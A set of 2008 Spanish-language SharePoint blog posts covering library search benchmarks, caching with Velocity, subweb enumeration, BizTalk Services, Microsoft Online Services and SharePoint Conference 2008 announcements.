Pero una cosa es meter elementos en una Lista, y otra muy diferente poder hacer algo con ellos. Si después de una cierta cantidad es infinitamente demorado encontrar uno de los elementos, no tenemos nada con cinco millones...
Problema: Una intranet de una empresa con más o menos 20.000 usuarios. Cada mes el sistema de administración (separado de SharePoint) suministra un archivo pdf (7 kb) con el extracto del salario de cada empleado (usuario) y uno de los requisitos de la Intranet es que los usuarios puedan ver sus extractos en la Intranet, y de una forma segura. Esto significa que cada mes habrá que meter por lo menos 20.000 archivos pdf en algún lado en el Portal... en una Librería, por supuesto, pues SharePoint es todo Listas y Librerías.
Especulación: Usar una Librería por año? Un cuarto de millón de elementos en una Librería debería ser posible según Microsoft, pero cuanto se demora SharePoint en encontrar un archivo de un usuario de un determinado mes?
Una Librería por mes? Si la Librería puede con cinco millones, tiene que poder con 20.000, pero la pregunta sigue: que tan rápido se puede encontrar un elemento?
Una Librería por usuario (en MiSitio, por ejemplo), con solamente sus archivos? Y cuanto se demora el sistema en subir 20.000 archivos en 20.000 diferentes sitios?
Pruebas: Como no existen estadísticas al respecto, lo mejor es probar a ver qué pasa. Primero crear una Librería e irle metiendo archivos hasta que reviente (o no), y al mismo tiempo ver cuánto tiempo cuesta encontrar un elemento random en ella. Algunos resultados:
| Número de Elementos en la Lista |
Tiempo para encontrar un Elemento (milisegundos) |
| 10 |
2,156 |
| 100 |
2,170 |
| 1.000 |
2,640 |
| 10.000 |
6,420 |
| 100.000 |
37,125 |
La búsqueda se realizó “a lo bestia”, es decir recorriendo uno por uno de los elementos en busca de uno generado en forma random. Esto se hizo así para ver que tan ágil es el Modelo de Objetos para “loopear” (no muy ágil, por lo visto). Haciendo la búsqueda con una consulta CAML (la forma inteligente) los resultados varían de 2,203 milisegundos para encontrar un elemento entre 1.000 y 2,296 en una Librería con 100.000 elementos (eso está mucho mejor). Y si la columna de búsqueda en la Lista se indexa, cuesta 2,140 milisegundos en la Librería con 100.000 elementos.
Nota separada No. 1: parece que siempre hay un “threshold” de 2 milisegundos, probablemente el tiempo necesario para hacer que el JIT se despierte, y para que toda la burocracia de DotNet empiece a funcionar.
Nota separada No. 2: es interesante ver cómo crece la Base de Datos de contenido de SharePoint: con los 100.000 elementos (de 7 kb cada uno) creció en 797.076.928 bytes, lo que indica que hay un “desperdicio” de 10%... probablemente no desperdicio sino espacio para los meta-datos o algo así...
Conclusión: Buscar a lo bestia es de lo mas bestia... no hacerlo. Buscar con consultas CAML funciona de maravilla, y no importa si hay que buscar en una Librería con 100 o con 100.000 elementos, el tiempo de búsqueda es igual. Y si se indexa la columna a buscar, mejor aún. Y hay una carga interna de 2 milisegundos de la que no nos libramos por nada del mundo...
Y como se ha hecho el asunto: Un SharePoint Job ejecuta cada día al amanecer y escanea un directorio en busca de los archivos generados (solamente una vez al mes encontrara algo, pero eso no se lo vamos a contar para que no se vuelva perezoso). Cuando encuentra archivos, el Job crea una Librería y sube todos los archivos del mes de una sola vez, asegurando los derechos de cada archivo para que solamente el dueño tenga suficientes derechos para leerlo. Una WebPart revisa las Librerías de cada mes en busca de los archivos de salario del CurrentUser y muestra lo que encuentra. Solucionado. SharePoint contento, cliente contento, todos contentos...
Nota: como subir 100.000 elementos a una Librería de SharePoint manualmente es bastante aburrido, se ha usado una herramienta gratis, el “BulkFiller”, que pueden encontrar en http://www.sharepartsshop.com (búsquelo en la sección de “Gratis”); subir 100.000 elementos a una Librería cuesta un par de minutos, increíble. Y para borrarlos, en el mismo sitio hay otra herramienta, el “BulkCleaner”, que hace lo mismo pero al revés, y aun mas rápido...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Thursday, June 12, 2008
#
Por fin un par minutos de tranquilidad para poder hacer algo interesante con SharePoint, no el cotidiano tira-y-afloja con clientes que no saben que es lo que quieren, y que cuando les cuentas que es lo que quieren, empiezan a creer que son “conocedores” de SharePoint... yo solo conozco a dos personas que sean “conocedoras” de SharePoint, y ninguna de las dos es cliente mío...
Perdón por irme por las ramas. Al tema: Velocity, el nuevo juguete de Microsoft. Jorge Serrano ya ha contado de que se trata (“Microsoft Project Code Named Velicity” http://geeks.ms/blogs/jorge/archive/2008/06/03/microsoft-project-code-named-velocity-ctp1.aspx e “Información general sobre el proyecto Velocity” http://geeks.ms/blogs/jorge/archive/2008/06/07/informaci-243-n-general-sobre-el-proyecto-velocity.aspx) así que no me pongo a repetir lo que ya el contó bien contado. El asunto se trata de cacheo, algo con lo que SharePoint siempre ha tenido una relación amor-odio, o, aun mejor dicho, una relación sado-masoquista.
Cacheo de datos es estupendo en aplicaciones Web. Por la forma intrínseca de este tipo de aplicaciones, datos tienen que ser generados una y otra y otra vez, así que meterlos en un depósito temporal para no tener que hacer todo el proceso continuamente es una excelente idea. SharePoint es una aplicación Web, ergo, debe usar cacheo. Y en realidad lo hace: MOSS utiliza las técnicas de cacheo de datos que proporciona el ASP.NET 2.0 y le agrega un mecanismo más preciso (Profile Caching) para mejorar la granularidad (como se puede traducir "granularity" al cristiano?), permitiendo crear perfiles de cacheo diferentes que se puedan aplicar a colecciones de sitios o sitios individuales. Como nota curiosa, WSS no dispone del mecanismo de cacheo que tiene MOSS... y es por eso de la relación rara de que hablábamos anteriormente.
En realidad, a SharePoint no le gusta usar cacheo. Inclusive en las versiones anteriores se podía activar por medio de un cambio en el web.config, pero era prácticamente prohibido hacerlo. Por una razón muy sencilla: SharePoint es un sistema creado para suministrar información a cientos de miles de usuarios, dándole información personalizada a cada uno de ellos (piense nada más que cada usuario puede modificar su propia interface) y si le vamos a dar cache a cada usuario, simplemente no existe batería de servidores con suficiente memoria RAM para mantener el cacheo; o habría que limitar el cacheo a un par de segundos, lo que tampoco tiene mucho sentido.
Pero a SharePoint 2007 le pusieron todo el asunto de Content Management, con lo que ya SharePoint no solamente sirve para crear sitios de trabajo individuales e individualizados, sino también para crear sitios Web comunes y corrientes (Publishing Feature). Y como en sitios de este tipo la información cambia muy poco en el tiempo, y no cambia para nada para cada usuario, cacheo es simpatiquísimo. Así que SharePoint 2007 tiene cacheo, pero solamente para MOSS, pues WSS no tiene la Característica de Publicación, así que no se puede usar para crear sitios Web comunes y corrientes, y, ergo de nuevo, no queremos meterle cacheo...
Como nota al lado, otra de las cosas simpáticas de cacheo en SharePoint es que en granjas de servidores se ve frecuentemente que la información presentada no es consecuente (o, por lo menos, eso es lo que mis queridos clientes siempre dicen); veamos: servidor A tiene en memoria pagina A por 60 segundos; la información de la pagina ha sido cambiada en el momento que el cache del servidor B ha expirado, así que ahora los dos servidores tienen información diferente; el usuario que acaba de ver la pagina desde el servidor A regresa a la pagina, pero esta vez es redirigido por el Load Balancing al servidor B: la información es diferente; vuelve a hacer un refresco de la pagina, y el Load Balancing lo manda al servidor A: regreso a la información antigua... estoy empezando a creer que al final mis pobres clientes hasta puede que tengan razón...
Pero bueno, es el día de irse por las ramas... Velocity: sistema para distribuir el cacheo entre los diferentes servidores de la granja, evitando, de pasada, los problemas de los que hemos estado hablando... suena bien para metérselo a SharePoint... manos a la obra: bajar el software (2.5 MB, no está mal)... buscar una granja de prueba de SharePoint (dos front end, nada del otro mundo)... intentar instalar el software... empieza a instalar sin problemas... llegamos a la pantalla de configuración... error... cancelar el error y seguir adelante... error... volverlo a intentar... error... bueno, al fin y al cabo es software beta... y a SharePoint no le gusta ese asunto del cacheo... habra que esperar hasta la proxima version...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Wednesday, June 04, 2008
#
Pregunta para los fanáticos de optimalización en programación: como leer todas las subWebs de un SPSite de SharePoint de la forma más rápida, efectiva y eficiente posible?
Primero que todo el problema: para un portal (bastante) grande de SharePoint, en donde al final habrá algunos miles de subSites, es necesario crear una especie de “árbol” con la estructura. Usar un cacheo del árbol después de que se ha leído de arriba abajo mejora el rendimiento, por supuesto, pero primero hay que haber leído todos los sitios y sus subsitios y sus subsitios ad infinitum... La estructura es bastante dinámica, cambiando en (en el peor de los casos) dentro de minutos, así que el cacheo no se puede mantener por más de algunos minutos sin correr el riesgo de que el usuario pierda información.
Lo primero es que hay que usar recursividad para poder entrar por todas partes, eso es seguro. Pero dentro del lazo de la recursión es necesario conseguir el SPWebCollection de alguna forma. En principio tenemos dos maneras: con “SPSite.AllWebs()” o con “SPSite.OpenWeb().GetSubwebsForCurrentUser()”. El primer método se descarta bastante rápido por problemas de seguridad: si el usuario que está creando el árbol no tiene derechos suficientes en una u otra SPWeb en el camino, recibirá simplemente un “Access Denied” sin más, y el asunto se detiene irremediablemente. Peor aún, el usuario tiene que tener derechos de “Full Control”, de otra forma SharePoint simplemente se niega a seguir adelante.
Así que queda el segundo método. Para mi gran sorpresa, tampoco funciona en la forma deseada. Por una u otra razón, el método tampoco devuelve todas las subWebs directamente bajo la Web actual. Después de renegar, sudar, llorar y rogar, al final resulta que hay que usar el asunto por medio del “SPSite.RootWeb.GetSubwebsForCurrentUser()” y no por medio del “OpenWeb()”. Porque? Ni idea... según la fantastica información proporcionada por el SDK, la propiedad RootWeb “Gets the root Web site of the site collection” y el método “OpenWeb” “Returns the site that is associated with the URL that is used in an SPSite constructor”... más claro no canta una gallina... y según mi humilde entender, los dos hacen lo mismo, pero de diferente manera... lo de diferente manera es seguro, en cualquier caso...
Pero el asunto va por otro lado. AllWebs y GetSubwebsForCurrentUser son simplemente asesinos del rendimiento, pues los dos no hacen más que un bucle de web en web para sacar la lista requerida. Cuando estamos hablando de unos cuantos de sitios, que hay que leer de vez en cuando, simplemente no importa como lo hacen. Cuando hay que leer miles de sitios con mucha frecuencia, los servidores de la granja simplemente se van a 100% de CPU, y el usuario se puede ir a tomar un café mientras la información aparece en pantalla.
Por eso de que a veces quedan marcas en la memoria de cosas leídas hace un montón de tiempo, me he acordado de un documento de Steve Peschka (Microsoft) de hace más de un año: “Working with large lists in Office SharePoint Server 2007” (http://go.microsoft.com/fwlink/?LinkId=95450&clcid=0x409) que describe cómo usar la clase “PortalSiteMapProvider”. Esta es una clase de SharePoint que probablemente solo conoce el desarrollador que la hizo, y que fue creada originalmente para ayudar a cachear la navegación (según las palabras de Steve Peschka). La clase contiene un “PortalWebSiteMapNode” que a su vez contiene la propiedad “GetChildNodes” que nos entrega una colección de los subWebs que estamos buscando... perfecto... casi perfecto... hmmm... inservible... “PortalSiteMapProvider” es una clase de MOSS y yo lo necesito para WSS...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Friday, May 30, 2008
#
Hace un par de semanas Microsoft ha liberado el “Microsoft BizTalk Services”. Según el boletín de prensa de Microsoft mismo, “...The new BizTalk Relay Services facilitate the traversal and bridging of physical networks, enabling high-fidelity interconnection between cooperating systems for cross-organizational messaging behind firewalls...” ... lo que en realidad son 26 palabras que no dicen nada...
Veamos: BizTalk Services viene del “BizTalk Labs” (http://biztalk.net/) que es tres cosas: Identity Services para poder identificar quien es quien y arreglar otras cosas de identificación internamente (con AD, por ejemplo), Connectivity Services para manejar “mensajes” a lo largo de redes y el BizTalk Labs SDK para podernos enterar como ponerlo todo junto.
Como dice el sitio del BizTalk Labs, esta es una pieza del “Bus de Servicios de Internet” (http://biztalk.net/Overview.aspx) que no es más que una manera para interconectar aplicaciones distribuidas... ya nos vamos entendiendo...
BizTalk ha sido siempre el servidor “negociador” de Microsoft: si es necesario conectar un sistema cualquiera con otro sistema cualquiera, BizTalk es el pegante que los puede llevar a que conversen juntos, y, sobre todo, a que se entiendan. Personalmente, BizTalk es como el primer amor de juventud, del que siempre sigues enamorado, pero que desafortunadamente nunca funciono como debería. No es que no ame a SharePoint, ese el amor con el que vivo cotidianamente, sino que BizTalk siempre me ha gustado poderosamente sin que nunca haya tenido la oportunidad de hacer proyectos serios con él. Y ese el drama de BizTalk también: hasta ahora ha sido un servidor muy poderoso, pero también muy difícil de implementar y programar, que necesita recursos físicos demasiado grandes (12 Bases de Datos, si no me acuerdo mal, para una instalación por defecto), y que siempre ha sido demasiado costoso. Todo eso junto significa que mientras hay clientes haciendo fila para crear sistemas con SharePoint, BizTalk hay que metérselo por las narices a la fuerza a nuestros clientes para que lo acepten...
A ver si BizTalk Services alivia los problemas. BizTalk Services (http://www.microsoft.com/biztalk/en/us/soa.aspx) nos permiten usar BizTalk sin tener que hacerle el hosting, sin tener problemas de uso en ambientes mezclados (intranet-extranet, problema que siempre se tiene con una instalación propia de BizTalk, la que cuesta infinita cantidad de problemas para hacerla pasar a través de FireWalls) y sin tenernos que preocupar por instalación, mantenimiento y todas esas cosas que nosotros, los pobres pica-código, no tenemos ganas ni paciencia para hacer (ni, la verdad sea dicha, los conocimientos técnicos para hacerlo bien hecho).
Todo funciona por medio de SOA, es decir, por medio de WebServices. Un sistema en cualquier parte del mundo (o al lado de nuestro escritorio, qué más da) necesita datos de otro sistema en cualquier otra parte del mundo (o en el mismo servidor, da igual), los procesa y se los entrega a otro sistema, ustedes ya saben en donde... El problema es que cada uno de los sistemas espera/entrega los datos de una manera diferente... BizTalk es el “negociador” que convierte los datos de un sistema para que el otro los entienda, y luego recoge los datos procesados para “trasladarlos” en la forma que el siguiente proceso también pueda hacer algo con ellos, y el siguiente, y el siguiente. Y entre proceso y proceso se queda esperando pacientemente, manteniendo el estado de todas las transacciones, enviando mensajes si es necesario, preparando café y desayuno cada mañana, avisando a qué hora es la próxima cita con el dentista, etc... (Bueno, las dos últimas cosas pueden ser un poquito exageradas, pero ustedes ya entienden por donde va el agua al molino).
Y todo esto es simplemente estupendo para SharePoint. Con los Flujos de Trabajo del WorkFlow Foundation y el Business Data Catalog se pueden hacer un montón de cosas bonitas, pero una de las limitaciones que SharePoint siempre ha tenido (aunque la situación ha mejorado notablemente con la versión 2007) es que es un servidor terriblemente egocéntrico: toda su información tiene que estar en sí mismo, y conectarlo con el mundo exterior nunca ha sido fácil. Con un sistema de BizTalk que no sea costoso ni difícil de utilizar se pueden mejorar radicalmente los rasgos autistas de SharePoint, y hacerlo comunicar con todo ese mundo de datos que existen fuere de él. Las posibilidades son múltiples: sistemas Back-Office con datos de cualquier tipo que se pueden presentar en el Portal, automatización de flujos de documentos e información (en lo que SharePoint es grande) proveniente del mundo externo, envío de datos contenidos en SharePoint a sistemas fuera de el, el cielo es el limite... de pronto el primer amor se junta con el amor cotidiano en un trío incestuoso...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Sunday, March 23, 2008
#
MOS no es MOSS... MOS es Microsoft Online Services. No se pudieron inventar otra sigla? Después de años y años de bombardearnos con siglas y más siglas, parece que se les están acabando. Seria interesante empezar a usar nombres que signifiquen algo. Pero MOS si es MOSS. O, por lo menos MOSS es una parte de MOS. Bueno, no realmente... ya se me lengua la traba con todas esas siglas...
Bueno, que es MOS? Fuera de lo de Online Services, es la nueva arma de Microsoft en su competencia para tomarse el mundo de las aplicaciones en línea por sorpresa. O la nueva arma contra Google. O la mejor forma de matar la gallina de los huevos de oro (Microsoft Office). Poniéndolo en pocas palabras, MOS no es más que unir a Microsoft Exchange como servidor de correo, Microsoft Live Meeting como servidor de comunicación y Microsoft SharePoint como servidor de colaboración en una batería de servidores, y venderlos como servicio, no como servidores. Es decir, en lugar de que usted tenga que comprar el software, luego tenga que comprar el hardware, luego tenga que pagarle a alguien para que instale y configure todo (hardware y software), y luego tenga que seguir pagando hasta la eternidad por mantenimiento, backups, upgrades y demás plagas, Microsoft instala y configura todo el rollo para usted, y usted se dedica a utilizar el servicio... pero eso sí, hay que pagarle el mismo dinero (sino mas) a Microsoft, pues MOS no es gratis... Suena razonable...
MOS está en beta en el momento, y no es mucho lo que se sabe al respecto. Si le interesa, dele una mirada al sitio beta (http://www.mosbeta.com/Welcome.aspx); inclusive puede inscribirse como usuario beta (solamente para residentes de USA), para encontrarle todas las fallas al sistema, gratis y por nada y contárselo a Microsoft, de tal forma que cuando el producto este terminado y sin fallas, usted le pueda pagar a Microsoft un dineral por el placer de utilizar el sistema que usted ayudó a crear. Así funciona el sistema, no me echen a mí la culpa... También puede visitar el sitio de Microsoft para ver más información al respecto (http://www.microsoft.com/online/default.mspx).
Al final, Microsoft ha anunciado, usuarios de MOS disfrutarán de una consola de manejo y monitoreo (Web) desde donde se podrán hacer todas las labores de configuración y administración. Y, aunque los precios no han sido anunciados, si se sabe que las licencias se podrán obtener en base al número de usuarios, y que no es necesario contratar todo el paquete (Exchange + Live Meeting + MOSS), sino que se puede hacer cualquier combinación de ellos. Microsoft planea hacer el servicio público a mediados de 2008.
Como no es conocido el esquema de precios, no es posible en el momento saber si será rentable utilizarlo en su compañía. Lo que sí es interesante es que si la empresa no dispone de un departamento de IT, o por lo menos de una persona que se defienda con cosas de hardware, software, instalación y configuración, probablemente será atractivo tener algo por el estilo. Microsoft le garantizara que el sistema seguirá funcionando, aunque llueva, truene y relampaguee. Por el otro lado, en nuestra realidad hispanohablante (Latinoamérica + España), personal cuesta mucho menos que infraestructura (hardware + software), lo que es diferente a lo que ocurre en USA, el norte de Europa, Australia y demás; en este caso, me puedo muy bien imaginar que MOS no será atractivo económicamente.
Al otro lado de la moneda, llamémoslo el lado paranoico de la historia, no sé si sea tan buena idea poner toda la información confidencial de la empresa fuera de la empresa. Ya lo sé, ya lo sé, todo está protegido con claves y mas claves, pero de todas formas, un administrador puede ver un montón de cosas en SharePoint y Exchange, y un super-administrador puede ver casi que todo. Y al final, prácticamente toda la información confidencial y no-confidencial de una empresa que utilice a SharePoint termina en las Bases de Datos de SharePoint. Y aunque no creo que Microsoft utilice esa información de la forma que Google SI usa la información que adquiere de nosotros, hay que recordar que la actualidad en Norte América es que la paranoia es rey, y que si a algún presidente o congresista o simple policía histérico le da por querer ver nuestra información empresarial, y ella se encuentra en un servidor de Microsoft, Microsoft se verá obligado a entregarla... ya lo sé también: si no ha hecho nada malo, no tiene de que preocuparse... pero de todas formas la sola idea me pone los pelos de punta, aunque no haya hecho nada malo...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Friday, March 07, 2008
#
La conferencia de este año llega a su final. En resumen, mas de 150 sesiones, de las cuales, como de costumbre, algunas excelentes, un montón promedio y algunas simplemente terribles. Algunos anuncios interesantes, algo de nueva información y bastante de lo mismo, no en un sentido negativo, sino en el sentido de que te hace recordar lo increíblemente flexible (y complejo) que es el mundo de SharePoint, en donde cada cosa que te puedas imaginar se puede hacer de dos o tres formas diferentes.
Para desarrolladores, el contenido no fue extenso, pero algunas cosas si han sido puestas en relieve: la importancia del testeo (varias demostraciones de testeo utilizando Visual Studio Test versión) y las nuevas posibilidades ofrecidas por Ajax y SilverLight. También se ha podido observar la división existente entre los partidarios del uso de SharePoint Designer (varias presentaciones al respecto) y la utilización de programación (directamente con Visual Studio, o indirecta por medio de CAML, plantillas, Tipos de Contenido y Características), e, inclusive, como intentar unificar los dos campos, por ejemplo con la utilización del Designer para crear Flujos de Trabajo, que luego pueden/deben ser refinados por medio de Visual Studio.
El último anuncio sobre nuevas herramientas fue la liberación del “External Collaboration Toolkit for SharePoint” (http://technet.microsoft.com/en-us/library/cc268155.aspx ), uno de los Solution Accelerators. Este Toolkit permite asegurar la colaboración de usuarios fuera del Firewall con un Portal empresarial en la intranet de una forma segura y, además, da información y mejores prácticas para realizarlo.
Probablemente la mayor noticia del día no tiene que ver con la Conferencia de SharePoint sino con la Conferencia de Desarrolladores de Internet 2008 (MIX’08) en Las Vegas, en donde se ha anunciado la inminente liberación de Internet Explorer 8.0 beta para desarrolladores. Entre las diferentes nuevas posibilidades de IE 8.0 es la implementación de CSS 2.1, que tiene que ver con el “Accesibility Kit for SharePoint”, http://www.codeplex.com/aks ). Algunas de las cosas nuevas de IE 8.0 pueden tener consecuencias para SharePoint: “Activities” que permite una mejor experiencia con lo menús contextuales (seleccionar una dirección, por ejemplo, y un mapa aparece mostrando su localización), y “Web Slices” que permite crear “subscripciones” a partes de un pagina, permitiendo volverlas a traer en pantalla en cualquier otro momento posterior. IE 8.0 beta se puede bajar del sitio de Microsoft (http://www.microsoft.com/windows/products/winfamily/ie/ie8/default.mspx) y si lo instala, reemplazara a la versión actual del navegador.
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Wednesday, March 05, 2008
#
Aunque es conocido que Microsoft está desarrollando la nueva versión de SharePoint desde antes de sacar al mercado la versión 2007, es prácticamente imposible conseguir información sobre lo que será nuevo o diferente. Lo único que se puede decir al respecto es que es un secreto muy bien guardado, nos guste o no. Por una parte es comprensible que no quieran dar a conocer a la competencia en que estan ocupado, pero por otra parte nos evitaría un montón de contratiempos en nuestro trabajo cotidiano si supiéramos que es lo que nos espera en el futuro (ni siquiera es conocido cuando habrá versiones beta disponibles).
Algo de lo que se ha oído sobre el futuro de SharePoint:
- SharePoint se convertirá, o por lo menos incrementara su funcionalidad como “Plataforma Cloud” (http://geeks.ms/blogs/gvelez/archive/2008/01/20/yo-clodeo-tu-clodeas-el-clodea-todos-sharepointiamos.aspx )
- SharePoint como será cada vez mas posicionado como una herramienta de “Social Centric Collaboration”
- El Catalogo de Datos Profesionales será mejorado, e incluirá la posibilidad de no solamente leer información, sino también de editar información en la fuente. El Catalogo seguirá siendo una herramienta de la versión más avanzada de MOSS solamente.
- La integración con el WorkFlow Foundation está siendo mejorada y su rendimiento incrementado
- En el campo de Inteligencia de Negocios, SharePoint incluirá soporte para “Master Data Management”. Este es algo nuevo no solo para SharePoint, sino para todos los productos Office, especialmente Excel y Access, y está planeada para la versión 14 de Office. Master Data Management es una serie de procesos y herramientas para definir de una manera centralizada las fuentes de información disponibles en una empresa, y se encarga de que la información no esté repetida en diferentes sistemas, y que los diferentes componentes sean sincronizados automáticamente
- El programa “Help me deploy SharePoint” ha sido anunciado, que consiste de asesorías dadas por Microsoft o sus partners a compañías que están empezando a diseñar el uso de SharePoint. Las asesorías son de corta duración (1 a 15 días), pensadas para guiar el uso exitoso de SharePoint desde su comienzo en la empresa
- El “SharePoint Asset Inventory Tool” ha sido liberado (Beta). Es una herramienta para inventariar todos los servidores en la granja y recopilar información sobre el (o los) Portales presentes (cuentas de usuarios, sitios, colecciones de sitios, elementos, etc) (http://technet.microsoft.com/en-us/library/cc295797.aspx)
- El “System Center Operations Manager Monitoring Toolkit” para SharePoint ha sido anunciado (aunque no es nuevo para SharePoint, ha sido mejorado y ampliado) (http://www.microsoft.com/systemcenter/opsmgr/default.mspx) . Este software ayuda a monitorear la capacidad y rendimiento de WSS y MOSS (http://www.microsoft.com/downloads/details.aspx?FamilyID=e4600fd9-f53d-4ded-88bf-6bb1932794f9&DisplayLang=en )
- El “SharePoint Cross-site Configurator” ha sido liberado (http://www.codeplex.com/SPConfigurator). Es una solución para activar y desactivar características y parámetros de configuración a lo largo de Colecciones de Sitios de SharePoint sin necesidad de programacion
En otro nivel, el segundo día de la conferencia ha sido una mezcla de información conocida junto a información sobre cómo manejar y configurar SharePoint de diferentes maneras. Los problemas de espacio continúan, y la cantidad de sesiones en cada parte del día (10 al mismo tiempo, 5 veces al día), te dan la idea de que siempre estás en el sitio equivocado...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Tuesday, March 04, 2008
#
La Conferencia de SharePoint 2008 en Seattle, USA, ha comenzado hoy.
Una vez más Microsoft ha confirmado que SharePoint es el producto que más rápidamente está creciendo en la historia de la compañía. El año pasado ha generado un billón de dólares en licencias (100.000 en total, solo para SharePoint 2007). Y si la asistencia a la conferencia (3800 personas) es una medida del éxito de SharePoint, los cupos disponibles se agotaron meses antes de la inicialización, y el espacio de exposición disponible fue copado en 24 horas. Inclusive el espacio reservado para las presentaciones se ha quedado corto, y para asistir a alguna de las más populares hay que luchar a brazo partido para conseguir un sitio en donde sentarse.
Algo de lo oído en el primer día:
- El “Search Community Toolkit” ha sido liberado hoy (http://www.codeplex.com/sct ) . Incluye herramientas para trabajar con Search Server 2008 y con el motor de búsqueda de MOSS
- “Online Services” (http://www.microsoft.com/online/default.mspx ) y “SharePoint Online Services” (http://www.microsoft.com/online/sharepoint-online.mspx ) , en esencia una versión de SharePoint que es hosted por Microsoft, y que es pagada por usuario, sin costos de instalación, hardware, etc. SharePoint Online incluye herramientas (también Online) para administrar y configurar a SharePoint
- “SharePoint Gearup” (http://sharepoint.microsoft.com/gearup/Pages/default.aspx ), una serie de herramientas para ayudar a profesionales de IT a manejar SharePoint Server a través de su ciclo de implementación: Preparación, Adopción, Ingeniería y Entrega
- “Solution Acelerators” para diferentes productos, inclusive SharePoint (http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=art&itm=579) que ayudan a diseñar los sistemas físicos, y testearlos fácilmente para ver posibles problemas
- Probablemente la noticia más importante hasta ahora es el soporte de SharePoint a SilverLight. Microsoft ha estado trabajando desde septiembre del año pasado en el “SilverLight Blue Print para SharePoint”, una serie de herramientas e información para trabajar con SilverLight en SharePoint: información sobre configuración, WebServices y una WebPart contenedor (http://www.ssblueprints.net/sharepoint/, los ejemplos estaran disponibles "en corto tiempo")
Suficiente información para asimilar en un solo día...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Sunday, February 24, 2008
#
Microsoft ha anunciado esta semana que está en la labor de publicar 30.000 páginas de documentos con información sobre todos los APIs y protocolos de comunicación de Windows Server 2008 y Windows Vista (incluyendo el .Net FrameWork), de tal forma que todo el mundo, sin ninguna restricción, tenga acceso a ellos.
En los próximos meses, ha dicho Microsoft, iniciará el proceso de documentación de los APIs de SQL Server 2008, Office 2007, Exchange Server 2007 y SharePoint 2007 (WSS y/o MOSS, no es claro cuál de los dos, o los dos, solo hablan de “SharePoint 2007”), y esperan tener la información lista en junio, y continuaran haciéndolo con las versiones que aparezcan en el futuro. Microsoft agrega que la información será tan completa, que empresas partner y competidores podrán integrar sus productos tan bien como Microsoft mismo (“the API publication should allow partners and competitors to interoperate with its most important products as well as Microsoft's own products do”)
Este es, por supuesto, un cambio radical en la política de “código propietario” que Microsoft ha mantenido hasta ahora, y, me parece, va a significar un cambio tan radical como el que vimos en el medio de los años 90 del siglo pasado cuando, de no querer hacer nada con Internet, pasaron a querer hacerlo todo, y terminaron dominando el mercado que se les estaba yendo de las manos.
Es esto un cambio debido a la presión de la Comunidad Económica Europea? No lo pensaría así... Es una reacción en pánico por los avances de Google? Tampoco, pienso yo... a mí lo que me parece es que es simplemente inteligente: si alguien quiere hacer una interface con mis productos, significa que otro alguien va a tener que comprar mis productos, y yo gano... por ejemplo, SharePoint funciona a la maravilla con Office Word; si alguien logra que funcione de la misma forma con Open Office, significara que más gente podrá usar SharePoint... tu ganas, pero yo gano al cuadrado, pues detrás de SharePoint esta Windows, y SQL, y Exchange, y ISA, y...
Fuera de esto, en que nos afectara a los que trabajamos con SharePoint? En muy poco, me temo. Ya veremos con que salen en cuanto a la información del API, pero desde siempre hemos tenido un Modelo de Objetos infinito para trabajar con SharePoint, así que si no interoperamos mas, es porque o no nos da la gana, o no somos capaces. Y será la información que nos entreguen mejor que el SDK que tenemos en el momento? Así lo espero, aunque también me temo que no lo será. Y hablando de información inútil, si las 30.000 páginas que están entregando ahora, y las que van a entregar en el futuro son tan terriblemente inútiles como el SDK de SharePoint, tampoco es que la noticia sea la gran cosa...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Wednesday, February 20, 2008
#
Del 3 al 6 de marzo próximo se celebrará en Seattle, USA, la tercera conferencia de SharePoint de Microsoft. Si alguna de las cuatro personas que leen esto estará por allí, de pronto nos podemos ver entre dos charlas y almorzar juntos. Envíenme un E-mail, y arreglamos algo para encontramos por esos lados.
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Sunday, February 17, 2008
#
Hace una semana, Microsoft ha liberado la versión definitiva de su “Herramienta para la planificación de SharePoint” (“SharePoint Capacity Planning Tool”), después de algunos meses de estar en periodo Beta. Como todos sabemos, planificar una instalación para un Portal es más un arte que una ciencia: cuantos servidores de Front-End necesitamos? Y que tan grande debe ser la batería de servidores para el cluster de SQL? Y como dividimos la topología de la granja de SharePoint? ... cuando estamos hablando de unos cuantos de cientos de usuarios, la respuesta es muy sencilla: con un servidor tenemos más que suficiente... cuando la pregunta viene de un cliente que quiere utilizar SharePoint para 20 o 30 o 50 mil usuarios, la respuesta es algo más cuidadosa: Depende...
Pues bien, la Herramienta de Planificación de SharePoint pretende hacer que el “Depende” sea menos cuidadoso, y que podamos dar una respuesta más realista sin meter las patas. Esta herramienta no es más que un modelo matemático, en donde los parámetros de entrada son reducidos y conocidos (cantidad de usuarios, tipo de usuarios, distribución geográfica, tipo de información a almacenar, etc), y la respuesta es cuantos servidores son necesarios, y como distribuirlos en la topología de SharePoint.
Para los interesados, información sobre instalación y uso pueden encontrar en http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=art&itm=579 . El “SharePoint Capacity Planning Tool” (http://www.microsoft.com/downloads/details.aspx?FamilyId=DBEE0227-D4F7-48F8-85F0-E71493B2FD87&displaylang=en) forma parte de la iniciativa de Microsoft llamada “System Center Capacity Planner 2007” (http://www.microsoft.com/downloads/details.aspx?FamilyId=E754F35D-59DB-4BC4-8386-E83E66A16FAD&displaylang=en) que es indispensable de tener instalado. El System Center finalmente podrá la calcular la capacidad de diferentes servidores, como Exchange Server, aunque el de SharePoint es el primero que ha sido liberado.
Hewlett-Packard tiene desde los tiempos de SharePoint 2003 una utilidad similar que se puede encontrar en el sitio de la empresa (http://h71019.www7.hp.com/activeanswers/Secure/548230-0-0-0-121.html ). La ventaja de la herramienta de Microsoft es que se puede definir el tipo físico de servidores disponibles, pues la herramienta de HP solamente permite seleccionar los servidores fabricados por ellos mismos.
